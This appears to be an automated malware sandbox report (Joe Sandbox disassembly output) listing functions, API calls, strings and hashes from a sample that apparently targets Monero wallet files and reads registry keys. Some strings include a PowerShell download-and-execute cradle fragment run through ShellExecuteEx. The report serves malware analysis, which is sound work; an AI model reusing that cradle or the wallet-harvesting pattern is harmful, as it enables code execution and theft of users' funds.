lstrcat.KERNEL32(?,?), ref: 00FC4834
lstrcat.KERNEL32(?,00C7B6F8), ref: 00FC4847
lstrcat.KERNEL32(?,?), ref: 00FC485B
lstrcat.KERNEL32(?,00C8DB60), ref: 00FC486F

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FC8D90: GetFileAttributesA.KERNEL32(00000000,?,00FB1B54,?,?,00FD564C,?,?,00FD0E1F), ref: 00FC8D9F

Part of subcall function 00FC4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00FC4580
Part of subcall function 00FC4570: RtlAllocateHeap.NTDLL(00000000), ref: 00FC4587
Part of subcall function 00FC4570: wsprintfA.USER32 ref: 00FC45A6
Part of subcall function 00FC4570: FindFirstFileA.KERNEL32(?,?), ref: 00FC45BD

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 8ccbb2d8bc453ae06a491ae7e70d234e8717f10a234968b7cde7f9928335610b
Instruction ID: 392d0424c6bce28536623997a32818de49cf7719c1bd493ef9d0674759ebb8e1
Opcode Fuzzy Hash: 8ccbb2d8bc453ae06a491ae7e70d234e8717f10a234968b7cde7f9928335610b
Instruction Fuzzy Hash: 993162B690021857CB24F7A0DC86FE97378AF48700F40459DB31996081EEB8A6C99B95

Function 00FC2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

ShellExecuteEx.SHELL32(0000003C), ref: 00FC2D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00FC2D04
')", xrefs: 00FC2CB3
<, xrefs: 00FC2D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00FC2CC4

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 7a15d8216b0de56d73d5b2bebbf0024ae6be9926345dcf1122c117e22b5cb2cb
Instruction ID: 5e1e31676f812e5342e52b0100bfb55643f9d54a64d1cb1e9c842e00c58fd3a9
Opcode Fuzzy Hash: 7a15d8216b0de56d73d5b2bebbf0024ae6be9926345dcf1122c117e22b5cb2cb
Instruction Fuzzy Hash: 3341B97181020D9BDB18EBA0DD97FEDB774AF10304F40411DE016AA1D1EF786A4AEF96

Function 00FB9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00FB9F41

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Strings

v20, xrefs: 00FB9E21
ERROR_RUN_EXTRACTOR, xrefs: 00FB9E67
@, xrefs: 00FB9EF1
v10, xrefs: 00FB9EA3

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 45f4ba0421dfe0b0d45fff59a6b044177ba28fb74ffe88e32952d41645fc48bc
Instruction ID: 097aaa39ada23faf06523a242081f854b2943450ffc55fe72d555b5143dedac0
Opcode Fuzzy Hash: 45f4ba0421dfe0b0d45fff59a6b044177ba28fb74ffe88e32952d41645fc48bc
Instruction Fuzzy Hash: C5614C71A0020CABDB24EFA5CD96FED7775BF44344F048118F90A5B281EB78AA05EF52

Function 00FC40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00C8DAA0,00000000,00020119,?), ref: 00FC40F4
RegQueryValueExA.ADVAPI32(?,00C8E320,00000000,00000000,00000000,000000FF), ref: 00FC4118
RegCloseKey.ADVAPI32(?), ref: 00FC4122
lstrcat.KERNEL32(?,00000000), ref: 00FC4147
lstrcat.KERNEL32(?,00C8E338), ref: 00FC415B

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 2cd82810e82c479980ea2231c776630473e7ff67576512994c63e66879f8f152
Instruction ID: 89ddc70a09cffd65d42c840033be18a837175423143535cb83d7445ffda984d5
Opcode Fuzzy Hash: 2cd82810e82c479980ea2231c776630473e7ff67576512994c63e66879f8f152
Instruction Fuzzy Hash: BF41EAB6D001086BDB28EBA0EC57FED373CBB48340F44455CB62957185EA795BC88BE1

Function 00FC6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00FC696C
sscanf.NTDLL ref: 00FC6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00FC69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00FC69C0
ExitProcess.KERNEL32 ref: 00FC69DA

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: b08c64b4e23dcdb9214faf6ae1e26ff99f84427d8fe895844db4b5e745dcf543
Instruction ID: 0013c20cde79ceeb0cf974ae05ffa057f2f4fda2db9d2775cac92aff22e90b31
Opcode Fuzzy Hash: b08c64b4e23dcdb9214faf6ae1e26ff99f84427d8fe895844db4b5e745dcf543
Instruction Fuzzy Hash: 2821EC75D04209ABCF08EFE4E946AEEB7B5BF48300F04852EE41AE3244EB346605CB65

Function 00FC7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00FC7E3E
RegOpenKeyExA.ADVAPI32(80000002,00C7C010,00000000,00020119,?), ref: 00FC7E5E
RegQueryValueExA.ADVAPI32(?,00C8DC00,00000000,00000000,000000FF,000000FF), ref: 00FC7E7F
RegCloseKey.ADVAPI32(?), ref: 00FC7E92

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 00e2401850bc0e8040b3d468d97a50b1ee6d93b4fe506bfa3eb9ee0c1e250efe
Instruction ID: 9b4c309deb7cde7a862176b624cd069f7200f2a458e0296b3ed85c8889163707
Opcode Fuzzy Hash: 00e2401850bc0e8040b3d468d97a50b1ee6d93b4fe506bfa3eb9ee0c1e250efe
Instruction Fuzzy Hash: 251191B2A44205EBD714DF94E94AF7FBBB8EB44711F10422DF61AA7284D77858009FA0

Function 00FC9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00C8E0B0,?,?,?,00FC140C,?,00C8E0B0,00000000), ref: 00FC926C
lstrcpyn.KERNEL32(011FAB88,00C8E0B0,00C8E0B0,?,00FC140C,?,00C8E0B0), ref: 00FC9290
lstrlen.KERNEL32(?,?,00FC140C,?,00C8E0B0), ref: 00FC92A7
wsprintfA.USER32 ref: 00FC92C7

Strings

%s%s, xrefs: 00FC92B5

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 1f2d713b0105dea11d874a2b9abbde0cbbde1ce96a7a26cb27052cefe3a54edc
Instruction ID: 22ce5e7699ce556979e955153785c421e72d44140cc0869293c44fd52a201396
Opcode Fuzzy Hash: 1f2d713b0105dea11d874a2b9abbde0cbbde1ce96a7a26cb27052cefe3a54edc
Instruction Fuzzy Hash: D401E975500108FFCB08DFE8D988EAE7BB9EF44350F10854CF90D97204C675AA41DB90

Function 00FB12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FB12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00FB12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00FB12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00FB12F5
RegCloseKey.ADVAPI32(?), ref: 00FB12FF

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 9ebac140fa1e4e1b5d9a7617492cb2ab80855aebfd3d8c1521332f8dda39bcc8
Instruction ID: 5f1f182d3099c857601fbd94634889fa4a076a77d579c8c53897f02e0a68323b
Opcode Fuzzy Hash: 9ebac140fa1e4e1b5d9a7617492cb2ab80855aebfd3d8c1521332f8dda39bcc8
Instruction Fuzzy Hash: 3A0136B9A40208BFDB14DFD0E849FAEB7B8EF48701F008159FA1997284D675AA418F50

Function 00FCC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00FCC8EC
___crtLCMapStringA.LIBCMT ref: 00FCC90C
___crtLCMapStringA.LIBCMT ref: 00FCC931

Strings

, xrefs: 00FCC896

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: f646b16dc95dd8bf46fe2c20081a78eb61871284264bc237f77b068c08309af9
Instruction ID: f843f8a101bf6f881f9a5d989943a09fd95182f8f7b11bc02ccf8a657418835f
Opcode Fuzzy Hash: f646b16dc95dd8bf46fe2c20081a78eb61871284264bc237f77b068c08309af9
Instruction Fuzzy Hash: 7D41F6B150079D5EDB218B24CE86FFB7BF89F45704F1444ECE98E86182D2719A45EFA0

Function 00FC6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00FC6663

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

ShellExecuteEx.SHELL32(0000003C), ref: 00FC6726
ExitProcess.KERNEL32 ref: 00FC6755

Strings

<, xrefs: 00FC66D9

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: e750acf5ad003f382054451ae9ebdbcdc71b811f41550c9f67278f567ddafef0
Instruction ID: 42cba3e3a9a002c234a48443144b782b92c4bcde464dff908591c50b4ec652ce
Opcode Fuzzy Hash: e750acf5ad003f382054451ae9ebdbcdc71b811f41550c9f67278f567ddafef0
Instruction Fuzzy Hash: 9D3127B1801219ABDB18EB90DD96FDEB778AF04304F40419CF21A67191DF787A89CF69

Function 00FC87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00FD0E28,00000000,?), ref: 00FC882F
RtlAllocateHeap.NTDLL(00000000), ref: 00FC8836
wsprintfA.USER32 ref: 00FC8850

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Strings

%dx%d, xrefs: 00FC8847

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
